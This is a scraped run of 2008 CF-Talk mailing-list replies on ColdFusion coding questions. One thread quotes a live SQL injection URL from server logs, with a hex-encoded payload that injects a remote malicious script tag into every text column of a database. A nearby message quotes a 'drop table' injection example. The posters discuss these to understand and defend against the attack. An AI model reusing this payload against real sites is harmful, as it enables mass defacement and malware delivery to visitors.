think you can really get the exact progress, but you can do sort >>of >>an estimation that is better than nothing. >> >>I do this when doing multiple inserts into a database that can be a bit >>slow. You do a test single insert via ajax, record the time it took, then >>use that time to calculate the total estimated time for all inserts, and >>use >>that total time to do the progress bar. >> >>-- Josh >> >> >>> > > ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:309824 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: jsmx and progress bar
What sort of thing are you doing on the server exactly? I don't think you can really get the exact progress, but you can do sort of an estimation that is better than nothing. I do this when doing multiple inserts into a database that can be a bit slow. You do a test single insert via ajax, record the time it took, then use that time to calculate the total estimated time for all inserts, and use that total time to do the progress bar. -- Josh - Original Message - From: "Richard White" <[EMAIL PROTECTED]> To: "CF-Talk" Sent: Monday, July 28, 2008 11:58 AM Subject: Re: jsmx and progress bar > for 'JSMX', it allows us to make calls to the server to do functions that > can return results. > > we want to show a progress bar while it is on the server running the > function to show the user how long it will be before the server returns > the result > > >>Progress bar for what? For multiple page cart? For loading content? For >>users RSVPing? >> >>Richard White wrote: >>> hi >>> >>> does anyone have any ideas on how to achieve this? >>> >>> thanks >>> >>> > > ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:309819 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: CFFILE
I think that the images directory has to exist already before you do the CFFILE operation, in other words it won't create the directory for you. -- Josh - Original Message - From: "Fawzi Amadu" <[EMAIL PROTECTED]> To: "CF-Talk" Sent: Friday, July 25, 2008 3:10 PM Subject: Re: CFFILE > Thanks for the info> I changed my code as follows: > > CODE: > > filefield="uploadProductIMAGE" > destination="C:\CFusionMX\wwwroot\e-Ghana\images\" > nameconflict="makeunique"> > > and I get the following error message: > > > > Attribute validation error for tag CFFILE. > The value of the attribute destination, which is currently > "C:\CFusionMX\wwwroot\e-Ghana\images\", is invalid. > > The error occurred in C:\CFusionMX7\wwwroot\e-Ghana\testFileUpload.cfm: > line 17 > > 15 : filefield="uploadProductIMAGE" > 16 : destination="C:\CFusionMX\wwwroot\e-Ghana\images\" > 17 : nameconflict="makeunique"> > 18 : > 19 : > > > > > > > > > > > > > >>From livedocs: >> >>destination: Pathname of directory in which to upload the file. If not >>an absolute path (starting with a drive letter and a colon, or a forward >>or backward slash), it is relative to the ColdFusion temporary >>directory, which is returned by the GetTempDirectory function. >> >> >>I have up written code to upload a file for my computer, but I am >>getting an error that I do not understand. I used >>destination="../images/"with the intention of saving the file in the >>images folder of root of my site. Please help, TIA >> >>CODE: >> >>> filefield="uploadProductIMAGE" >> destination="../images/" >> nameconflict="makeunique"> >> >> >>ERROR MESSAGE: >> >>Attribute validation error for tag CFFILE. >>The value of the attribute destination, which is currently "../images/", >>is invalid. >> >>The error occurred in C:\CFusionMX7\wwwroot\e-Ghana\testFileUpload.cfm: >>line 15 >> >>13 : filefield="uploadProductIMAGE" >>14 : destination="../images/" >>15 : nameconflict="makeunique"> >>16 : >>17 : > > ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:309739 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: (ot) URL Hack Attempt Leaves Me Scractching My Head... To Ben Forta
That is more a function of the db. I know that by default, MySQL does not allow multiple sql statements. You have to change a setting to allow this. I suppose this could be added to CF as well, but it would have to allow multiples by default, so that it would be backwards compatible. So you'd still have to remember to switch it off. -- Josh - Original Message - From: "Al Musella, DPM" <[EMAIL PROTECTED]> To: "CF-Talk" Sent: Friday, July 25, 2008 9:04 AM Subject: RE: (ot) URL Hack Attempt Leaves Me Scractching My Head... To Ben Forta > Ben, >Seeing as how this type of sql injection attack is succeeding so > much (even my favorite fishing website has been down for days due to > it (it is a .cfm site))... > how about changing cfquery so that by default, only ONE sql > statment can be sent. Let us override that with a parameter in > cfquery or a cfprocessing driective type of thing in our application.cfm.. > > I doubt many people use multiple sql statements in one cfquery, and > those that do are probably advanced enough to know to add the > parameter for allowing it.. > > You can call this enhancement request cf_trainingWheels > > > How many people out there group together (intentionally) multiple sql > statements in one cfquery? (Like "select email from users where > id=1; drop table users") > > Al > > > > > > ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:309701 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: (ot) URL Hack Attempt Leaves Me Scractching My Head...
I am seeing these too on our site, in errors generated by bad data going into a cfqueryparam. If several people on this list are seeing this attack, it must be pretty widespread. -- Josh - Original Message - From: "Che Vilnonis" <[EMAIL PROTECTED]> To: "CF-Talk" Sent: Monday, July 21, 2008 7:54 AM Subject: SPAM (ot) URL Hack Attempt Leaves Me Scractching My Head... > Just was looking at a 'user monitor' page on one of my sites and I saw the > url string below being called. I've seen several sql injection urls > before, > but what the heck are they trying to accomplish here? Eeverything is > cfqueryparam'ed. Thanks, Che > > /rss.cfm?';DECLARE @S CHAR(4000);SET > @S=CAST(0x4445434C415245204054207661726368617228323535292C404320766172636861 > 72283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F > 522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A65637473 > 20612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E > 78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D33 > 35206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E20 > 5461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F4375 > 72736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D30 > 2920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40 > 432B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C736372697074207372633D > 22687474703A2F2F312E766572796E782E636E2F772E6A73223E3C2F7363726970743E3C212D > 2D272720776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C65 > 3E3C736372697074207372633D22687474703A2F2F312E766572796E782E636E2F772E6A7322 > 3E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D2020546162 > 6C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F43 > 7572736F72204445414C4C4F43415445205461626C655F437572736F72 AS > CHAR(4000));EXEC(@S); > > > > ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:309349 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
Re: Singletons and me
> Lastly, can anybody offer or point me to some resources that provide good > solid guidelines to follow when writing a CFC that is to be utilized as a > Singleton? The only time I have run into problems when using scenario A (no lock) is when I neglected to var scope all variables within the getResults function. This is where you get undesired "crossover" of values. As long as you var scope everything (and that includes *everything* down to loop indices), you shouldn't need a lock at all. -- Josh ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:308909 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: Galleon Forum - Ray Camden's Forum project
Generally with Ray's software, you have to reinit the application to see any changes, since almost everything is cached. I know in BlogCFC you append "&reinit=1" on the end of the url to accomplish this. -- Josh - Original Message - From: <[EMAIL PROTECTED]> To: "CF-Talk" Sent: Tuesday, July 08, 2008 12:47 PM Subject: Re: Galleon Forum - Ray Camden's Forum project >I found that and made changes to that setting and the error still persists. > > > >>DSN setting, and all settings, in settings.ini.cfm file. Read the docs, >>Ray >>spells it all out in detail. >> >>--- Ben >> >> >>I'm getting Data source "Galleon" not found. Has anyone worked with Ray >>Camden's >>Forum software. I can't find where the datasource is set and I've >>searched >>through all >>the related files.No matter what I make adjustments to, the error >>persists. >> >>Thanks >> >>D > > ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:308777 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: Just a little cfcase tip...
+1 on getting ass-chomped by that same issue -- more than once. -- Josh - Original Message - From: "Rick Faircloth" <[EMAIL PROTECTED]> To: "CF-Talk" Sent: Saturday, July 05, 2008 7:13 PM Subject: RE: Just a little cfcase tip... > Thanks for the extra info, Charlie! > > While learning typing a lng time ago, I, like everyone else, > was taught to put a space after every comma. So, instinct tells > me to put a space after every comma. Oh the aggravation following > the rules can cause! > >> -Original Message- >> From: Charlie Griefer [mailto:[EMAIL PROTECTED] >> Sent: Saturday, July 05, 2008 10:07 PM >> To: CF-Talk >> Subject: Re: Just a little cfcase tip... >> >> On Sat, Jul 5, 2008 at 7:02 PM, Rick Faircloth <[EMAIL PROTECTED]> >> wrote: >> > Tip of the Day... >> > >> > When using multiple values with CFCASE, e.g., >> > >> > >> > >> > don't put a space after the comma in the value list. >> > >> > This works: >> > >> > This doesn't: >> > >> > This drove me crazy all day! >> > >> > Maybe this will save someone's sanity... (too late for you, Will :oP ) >> >> that'd be the case with all list functions in CF. anything between >> the delimiter (including leading/trailing spaces) is going to be part >> of the list element. and yes, it's bitten me square in the ass before >> :) > > > > ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:308633 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: CF vs .Net or PHP - need arguement help
Ben Forta maintains a list of agencies/companies using CF. Not sure how up to date it is though. http://www.forta.com/cf/using/ -- Josh - Original Message - From: <[EMAIL PROTECTED]> To: "CF-Talk" Sent: Wednesday, July 02, 2008 9:06 AM Subject: CF vs .Net or PHP - need arguement help > Our company, a large nationwide organization is creating an RFP to redo > our entire site > from scratch for agnecies to review. The marketing folks are asking the > agencies to > recommend a application platform as a part of the RFP. I know most > agencies use > ..net or php, but that will be for their advantage and not our existing CF > staff. > > I need some guidance from someone that's been down this road before. I > don't want us > to switch technologies just beacuse it's what the agencies use. Why aren't > there more > agencies using CF? > > D > > > ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:308471 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: use of IN operator in CFIF tag
-- Josh - Original Message - From: "Roberto Perez" <[EMAIL PROTECTED]> To: "CF-Talk" Sent: Monday, June 30, 2008 1:47 PM Subject: use of IN operator in CFIF tag > Hi all, > > Is it possible to use IN (or a similar syntax) as part of a CFIF tag? > Let's say that I have a variable ("FullName") and I want to know if that > string includes the contraction "Jr.", for instance. I know I cannot have: > > CFIF isDefined("FullName") and FullName IN "Jr." > > but is there any alternative operator I can use to check for the > presence of a specific sequence in a variable as part of a CFIF tat? Or, > and alternative way altogether to accomplish the same? > > Thanks in advance, > > Roberto > > ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:308345 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: Why do I need getters/setters?
One word: encapsulation. The variables scope allows you to have instance data that is specific to a particular instantiation of an object. So does the "this" scope, but this is less preferred, as it makes the properties directly available outside the CFC. You cannot set or get the variables scope directly, so you need the getter and setter to do this. It sounds like maybe you are talking about singletons, where you only have one instance of an object. In this case you don't need getters and setters, since you are not setting instance data, other than perhaps a datasource name, which can be set the init method. In your example below with the LastName getter and setter, you might have a Person class which has those getters and setters. So you might do this: #person1.getLastName()#, #person2.getLastName()# -- outputs "Jones, Smith" Now, you might want to get fancy and "do something" with the last name, for example remove any commas so it won't break a cfmail. You can then do this in your getter: This will be done for all and any last names, and you never have to worry about it again. -- Josh - Original Message - From: "Will Tomlinson" <[EMAIL PROTECTED]> To: "CF-Talk" Sent: Monday, June 23, 2008 9:46 AM Subject: Why do I need getters/setters? > I'm just not understanding why I'd need a getter and a setter in my cfc. > > My app works just fine without setting anything in the variables scope of > my cfcs. You submit a form, it adds the values to my db. You run a query > and get all the values back out. > > What is the value of keeping each value in its own variables scoped > variable? Where does it come in handy? Where are you supposed to use it? > > Here's a few lines from the legacy samples. > > > > > > output="false"> > > > > Guess I'm missing something since I don't have an OO background. Googled a > little but still confused. > > Thanks, > Will > > ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:307976 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
Re: Clarification Required Concerning CFC...
Rick - in the CFC function, variables.DSN refers to the variables scope within the CFC only. So, you are setting the variables.DSN value, in the instance of the object you're creating, to the value that is passed in as an argument, arguments.DSN. The variables scope within a CFC is local to that CFC, and cannot be accessed from outside it. Thus, any use of the variables scope from your calling page, will be entirely separate from any use of the variables scope within the CFC. This is why you have to pass in values to your CFC via arguments, so that the CFC variable values (the "object instance" values more specifically) can be set in the init function of the CFC. This is quite different than the use of cfinclude -- it's a whole different way of thinking about things so it takes a while to wrap your mind around it. -- Josh - Original Message - From: "Rick Faircloth" <[EMAIL PROTECTED]> To: "CF-Talk" Sent: Saturday, June 21, 2008 9:44 AM Subject: Clarification Required Concerning CFC... > Hi, all... > > This statement in a CFC function confuses me: > > > > Why? Because it seems backwards. It seems to me that > I've already defined my variables.DSN values outside of > the CFC and am passing that value into CFC as an argument. > > It only makes sense, then, for me to use this, instead: > > > > Backwards from the way it was written above. It seems I should > be setting arguments.DSN equal to variables.DSN. > > According to this example written from the calling page: > > > > > I'm creating an object and specifying the DSN value as "variables.DSN", > and it only makes sense that in the called CFC function, that the function > would then create a value for arguments.DSN equal to variables.DSN or, > . > > Can someone explain why it's not backwards to write > in the function? > > Thanks, > > Rick > > > ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:307913 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
Re: null pointer? need your expertise!
Yeah, I think I ran across that one time and had to dig deep to find that. Query of queries is an odd beast, there are a lot of little "gotchas" to be dealt with. Also check out the case sensitivity issue, that got me one time too. -- Josh - Original Message - From: "Richard White" <[EMAIL PROTECTED]> To: "CF-Talk" Sent: Friday, June 20, 2008 4:42 PM Subject: Re: null pointer? need your expertise! > that did it! > > thanks again Josh, good find, i have been tearing my hair out over that > all night > > thanks again > > > >>Richard, I found this on the CF7 livedocs comments: >> >>== >>"Null Pointers are another name for undefined values." >> >>If this error is returned when trying to use the LIKE operator it is >>likely >>because there are NULL values in the column in question. Try the following >>variation: >> >> >>SELECT * FROM aQuery >>WHERE aField IS NOT NULL >>AND aField LIKE 'right_string_exp' >> >> >>The IS NOT NULL clause causes a NULL row to be discounted before the LIKE >>clause is executed. >>= >> >>-- Josh >> >>> > > ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:307884 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
Re: null pointer? need your expertise!
Richard, I found this on the CF7 livedocs comments: == "Null Pointers are another name for undefined values." If this error is returned when trying to use the LIKE operator it is likely because there are NULL values in the column in question. Try the following variation: SELECT * FROM aQuery WHERE aField IS NOT NULL AND aField LIKE 'right_string_exp' The IS NOT NULL clause causes a NULL row to be discounted before the LIKE clause is executed. ===== -- Josh - Original Message - From: "Richard White" <[EMAIL PROTECTED]> To: "CF-Talk" Sent: Friday, June 20, 2008 3:39 PM Subject: Re: null pointer? need your expertise! > how do i get extra debugging information about the null pointers as just > saying it tried to reference a null value isnt helping me find what the > issue is? > > thanks > > richard > >> Hi, >> >> i am running the following query on query: >> >> > >> select * from query >> >> >> where #columnName# like '%,#queryListArray[fl2]#,%' >> >> or #columnName# like '%,#queryListArray[fl2]#,%' >> >> > >> >> >> if i output the sql for this it produces the text: >> >> select * from query where T_Site like '%,ICH,%' >> >> this is the correct statement but when i actually run the query on >> query then it just says the following error message: The system has >> attempted to use an undefined value, which usually indicates a >> programming error, either in your code or some system code. >> Null Pointers are another name for undefined values. >> >> i have checked all the variables and they are defined: >> >> query = a query with 1032 rows and does have a column named T_Site >> columnName = 'T_Site' >> queryListArray = an array with 1 element with the contents 'ICH' in >> that element >> >> does anyone know what null pointer it is referring to. >> >> Thanks >> >> >> >> >> >> > > > ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:307874 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: How can I restate this without using EVALUATE?
> In a calling page: > > > > > > #myResult# Does anyone know why in CF you can't do this: When you return a function, you can't then call it with arguments. Is it because functions in CF are actually separate classes? I like in javascript how you can do stuff like that. -- Josh ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:307843 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
Re: Waaahhhh! Why won't my CFC work!
> Assuming my form does have the password formfield in it... > > Why would I get the error: (When I cfdump the form scope, it shows > "password" > as one of the fields...) This one got me before, too. "Password" is an implicit attribute of the tag, used I think when calling a webservice. You'll need to name your argument something else, like "pass" or "pw". -- Josh - Original Message - From: "Rick Faircloth" <[EMAIL PROTECTED]> To: "CF-Talk" Sent: Thursday, June 19, 2008 1:28 PM Subject: Waaa! Why won't my CFC work! > Now, I feel better... (Oh, I so wanted, for the sake of time, to just use > my common login scheme using cfinclude... but I *had* to try a cfc...) > > Assuming my form does have the password formfield in it... > > Why would I get the error: (When I cfdump the form scope, it shows > "password" > as one of the fields...) > > > The PASSWORD parameter to the authenticate function is required but was > not passed in. > > The error occurred in E:\Inetpub\webroot\c21-ar-sm-homesite\cfm\login.cfm: > line 41 > > 39 : method="authenticate" > 40 : returnVariable="manager_id" > 41 : email="#form.email#" > 42 : password="#form.password#"> > 43 : > > > from this code: ( and yes, I'm working on instantiating...) > > component="c21-ar-sm-homesite.components.manager_authorization" > method="authenticate" > returnVariable="manager_id" > email="#form.email#" > password="#form.password#"> > > > > > > > > SELECT manager_id > FROM managers > WHERE email = '#arguments.email#' > AND password = '#arguments.password#' > > > > > > > > > > ??? > > > ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:307776 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: Updating Multiple records while avoiding evaluate
It'll work as long as that key "grp_sort_2201" is defined in the form. Try dumping your form and make sure that key exists as you expect. -- Josh - Original Message - From: "Les Mizzell" <[EMAIL PROTECTED]> To: "CF-Talk" Sent: Tuesday, June 17, 2008 4:51 PM Subject: Updating Multiple records while avoiding evaluate > This should work in a query that updates multiple records, right? > > grp_sort = > value="#form['grp_sort_' & myIDX]#" > cfsqltype="CF_SQL_INTEGER" > > > "Element grp_sort_2201 is undefined in a Java object of type class > coldfusion.filter.FormScope referenced as" > > > Maybe I just need a nap... > > > ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:307640 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
Re: (ot) javascript help
Quite a few issues there... First off, you can generally use one or the other of "visibility" or "display" properties. In your case you'd probably want to use "display" since this will actually create or destroy the space that the br occupies. Then, in makeNewEntry you'd want this one line: document.getElementById('FTDTYPEe').style.display = 'block'; // since it is an id, you can reference it directly, independent of the form Finally, you can remove the visibility property from the br: That should get you where you need to be. -- Josh - Original Message - From: "Chad Gray" <[EMAIL PROTECTED]> To: "CF-Talk" Sent: Wednesday, June 11, 2008 10:34 AM Subject: (ot) javascript help > Can any javascript gurus tell me why this does not work? I want the > tag to display on the page so I get a carriage return between the two > pieces of text "Foo" and "Moo". I get this error in Firbug: > document.tabbedTicket.FTDTYPEe has no properties > > > > function makeNewEntry() { > document.tabbedTicket.FTDTYPEe.style.visibility = 'visible'; > document.tabbedTicket.FTDTYPEe.style.display = ''; > } > > > name="tabbedTicket"> > > > Foo > > Moo > > > > ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;192386516;25150098;k Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:307262 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: Can't place a variable inside of a CF tag
> > > > > > > > SELECT * FROM TABLE > There might be a sneaky way to achieve that, but alternately, you could just set maxrows to a really high number in the block. -- Josh ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;192386516;25150098;k Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:307129 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: Best CF editor?
> Well, I'm surprised. As I said, I tease DW a lot, but I accept that > other people use it because it matches their style. Frankly, after > hearing this, I can't believe _anyone_ would use it. Maybe I'm > throwing the baby out with the bathwater, but if you can't trust your > editor to leave your darn code alone, then to me it is 100% worthless. You can set all this in the preferences: Edit -> Preferences -> Code Rewriting Check "Never Rewrite Code" Then you can set which types of files to not touch with a list of file extensions. -- Josh ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;192386516;25150098;k Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:306453 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: Best Coldfusion Formatters or Coldfusion Beautifiers
> This is 2 lines of his code: > > http://www.nomorepasting.com/getpaste.php?pasteid=16314 > > He also did not grasp the concept of variable scopes: > > http://www.nomorepasting.com/getpaste.php?pasteid=16315 My condolences, sir. That is truly horrendous. -- Josh ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;192386516;25150098;k Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:306444 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
Re: Best Coldfusion Formatters or Coldfusion Beautifiers
> I'm wondering if other folks have recommendations for Coldfusion code > formatters? When you inherit code from other folks and it isn't indented > properly, it can be very hard to understand the flow of the page. Dreamweaver --> Commands --> Apply Source Formatting -- Josh ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;192386516;25150098;k Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:306443 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: Best CF editor?
> People used to say "it's too slow compared to HomeSite/CFStudio" but > these people have now moved to Eclipse, which I find performs > unacceptably slowly, even on a high spec machine with plenty of RAM. > In fact, there's a real Eclipse gestapo that try to imply that you're > not a real coder unless you're using it, which annoys me no end. I'm right there with you Kay. People are afraid to admit they use DW because of the Eclipse gestapo. I find DW much easier to work with, and if/when I occasionally need to use the design view, it's very helpful. I've tried CFEclipse a few times, and it's nice for some things, but I end up coming back to DW. DW was a dog for me at first, but once I switched off "Show contents of included file" in the preferences it was all gravy. That option really gums up the works. -- Josh ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;192386516;25150098;k Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:306304 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
Re: Problem with onSessionStart
>I would keep trying. onSessionStart works. Trust me. So something else > is going on instead and it makes sense to keep digging until you find > the issue. Yup. There are a couple things you mentioned which are not squaring up: - you said that you are setting setClientCookies to false, but then you said each time you close and reopen the browser, new CFID and CFTOKEN cookies are being set. How is that possible? I just did a test and these cookies are not set when setClientCookies is set to false. So, something is amiss there. - you asked about having to pass cftoken and cfid in the url as well as jsessionid. You might want to check the CF docs to see if that is necessary. You might want to try (in your development environment) setting setClientCookies to true, and then doing some more testing by clearing your CFID and CFTOKEN cookies and reloading your site. This should always give you a fresh session and run onSessionStart. Once you have that working, go back to settings setClientCookies to false and pass the CFID and CFTOKEN in the url. -- Josh - Original Message - From: "Raymond Camden" <[EMAIL PROTECTED]> To: "CF-Talk" Sent: Tuesday, May 27, 2008 2:24 PM Subject: Re: Problem with onSessionStart >I would keep trying. onSessionStart works. Trust me. So something else > is going on instead and it makes sense to keep digging until you find > the issue. > > How about adding a simple to your onSessionStart to see when it > fires? > > Also - I did ask if you could post the entire CFC. I'd still recommend > that. > > On Tue, May 27, 2008 at 4:15 PM, Carl Von Stetten > <[EMAIL PROTECTED]> wrote: >> Michael, >> >> Nothing I put into the OnSessionStart function is being loaded into >> session variables. However, I did put the code that creates the "rd" >> session variable instance of my cfc into the OnRequestStart function. I >> wrapped it with a statement so it only >> executes once for a session. While this works, it "feels" wrong because >> it should be loaded during the OnSessionStart function. >> >> Carl > > ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;192386516;25150098;k Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:306118 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: Problem with onSessionStart
> Thanks for the suggestion. I'm using J2EE sessions and SetClientCookies > is set to false, so no cookies are being created. I've also verified > that if I close my browser (FireFox 2) and then relaunch the browser and > open the site, completely different values are assigned to JSESSIONID, > CFID, and CFTOKEN. Huh. Are you in a situation where you can't use cookies? If so you'll need to pass the cfid and cftoken in the url string on every request to maintain a session. Not sure what the effect would be of having setClientCookies = false and then not passing the cfid and cftoken. Perhaps this is why onSessionStart is not running. -- Josh ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;192386516;25150098;k Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:306083 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
Re: Problem with onSessionStart
